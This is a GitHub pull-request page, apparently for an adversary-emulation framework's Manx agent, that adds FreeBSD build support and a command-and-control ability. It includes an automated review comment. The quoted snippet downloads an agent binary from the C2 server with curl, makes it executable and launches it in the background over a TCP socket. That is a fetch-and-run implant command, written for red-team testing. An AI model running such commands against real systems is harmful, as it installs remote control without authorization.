Skip to content

Conversation

@alonsobsd
Copy link

Description

This is a initial support for FreeBSD

Type of change

  • Bug fix (non-breaking change which fixes an issue)
  • New feature (non-breaking change which adds functionality)
  • Breaking change (fix or feature that would cause existing functionality to not work as expected)
  • This change requires a documentation update

How Has This Been Tested?

Please describe the tests that you ran to verify your changes.

Checklist:

  • My code follows the style guidelines of this project
  • I have performed a self-review of my own code
  • I have made corresponding changes to the documentation
  • I have added tests that prove my fix is effective or that my feature works

@deacon-mp deacon-mp requested a review from Copilot October 6, 2025 22:58
Copy link

Copilot AI left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Pull Request Overview

This PR adds initial support for FreeBSD to the project by including FreeBSD as a target platform for building payloads and executing commands. The changes enable the application to run on FreeBSD systems alongside existing support for Windows, Linux, and Darwin.

Key changes:

  • Updated build script to compile FreeBSD binaries
  • Added FreeBSD command execution configurations with TCP and UDP variations
  • Changed shell interpreter from bash to sh for broader compatibility

Reviewed Changes

Copilot reviewed 2 out of 2 changed files in this pull request and generated 1 comment.

File Description
update-shells.sh Added FreeBSD build target and changed shebang to sh
data/abilities/command-and-control/356d1722-7784-40c4-822b-0cf864b0b36d.yml Added FreeBSD platform configuration with command variations

Tip: Customize your code reviews with copilot-instructions.md. Create the file or learn how to get started.

socket="#{app.contact.tcp}";
contact="tcp";
agent=$(curl -svkOJ -X POST -H "file:manx.go" -H "platform:freebsd" $server/file/download 2>&1 | grep -i "Content-Disposition" | grep -io "filename=.*" | cut -d'=' -f2 | tr -d '"\r') && chmod +x $agent 2>/dev/null;
nohup ./$agent -http $server -socket $socket -contact $contact &
Copy link

Copilot AI Oct 6, 2025

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Remove trailing whitespace at the end of the line.

Suggested change
nohup ./$agent -http $server -socket $socket -contact $contact &
nohup ./$agent -http $server -socket $socket -contact $contact &

Copilot uses AI. Check for mistakes.
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

1 participant